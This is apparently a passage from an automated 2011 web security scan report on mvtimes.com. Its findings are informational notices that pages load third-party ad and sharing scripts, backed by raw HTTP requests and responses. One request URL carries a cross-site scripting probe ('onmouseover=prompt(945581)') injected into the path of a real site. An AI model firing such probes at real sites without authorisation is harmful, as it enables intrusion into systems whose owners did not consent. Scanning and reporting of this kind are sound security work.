User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=65942130.1302621734.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=65942130.1489843502.1302621734.1302621734.1302621734.1; __utmc=65942130; __utmb=65942130.1.10.1302621734

Response

HTTP/1.1 200 OK
Date: Tue, 12 Apr 2011 15:16:33 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
Content-Length: 23734

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- InstanceBegin template="/Templates/general
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

4.3. http://www.mvtimes.com/marthas-vineyard/article.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.mvtimes.com
Path:   /marthas-vineyard/article.php

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /marthas-vineyard/article.php?id=4030 HTTP/1.1
Host: www.mvtimes.com
Proxy-Connection: keep-alive
Referer: http://www.mvtimes.com/marthas-vineyard/directory/?a=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=65942130.1302621734.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=340f9a2f4e744e94e83d808165edd48d; __utma=65942130.1489843502.1302621734.1302621734.1302621734.1; __utmc=65942130; __utmb=65942130.5.10.1302621734

Response

HTTP/1.1 200 OK
Date: Tue, 12 Apr 2011 15:17:04 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
Content-Length: 30930

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- InstanceBegin template="/Templates/general
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=mvtimes"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

4.4. http://www.mvtimes.com/marthas-vineyard/classifieds/110.php/%22onmouseover=prompt(945581)%3E  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.mvtimes.com
Path:   /marthas-vineyard/classifieds/110.php/%22onmouseover=prompt(945581)%3E

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /marthas-vineyard/classifieds/110.php/%22onmouseover=prompt(945581)%3E HTTP/1.1
Host: www.mvtimes.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 12 Apr 2011 15:15:22 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
Content-Length: 29415

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- InstanceBegin template="/Templates/general
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=mvtimes"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

4.5. http://www.mvtimes.com/marthas-vineyard/directory/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.mvtimes.com
Path:   /marthas-vineyard/directory/

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /marthas-vineyard/directory/?a=1 HTTP/1.1
Host: www.mvtimes.com
Proxy-Connection: keep-alive
Referer: http://www.mvtimes.com/marthas-vineyard/on-island.php
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=65942130.1302621734.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=65942130.1489843502.1302621734.1302621734.1302621734.1; __utmc=65942130; __utmb=65942130.4.10.1302621734

Response

HTTP/1.1 200 OK
Date: Tue, 12 Apr 2011 15:16:46 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Set-Cookie: PHPSESSID=a8d8e35751186e367b10f53a8a6cfc62; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
Content-Length: 25263

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<!-- InstanceBegin template="/Templates/gene
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

4.6. http://www.mvtimes.com/marthas-vineyard/on-island.php  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.mvtimes.com
Path:   /marthas-vineyard/on-island.php

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /marthas-vineyard/on-island.php HTTP/1.1
Host: www.mvtimes.com
Proxy-Connection: keep-alive
Referer: http://www.mvtimes.com/archives/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=65942130.1302621734.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=65942130.1489843502.1302621734.1302621734.1302621734.1; __utmc=65942130; __utmb=65942130.3.10.1302621734

Response

HTTP/1.1 200 OK
Date: Tue, 12 Apr 2011 15:16:39 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
Content-Length: 34724

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- InstanceBegin template="/Templates/genera
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

Report generated by XSS.CX at Tue Apr 12 10:33:30 CDT 2011.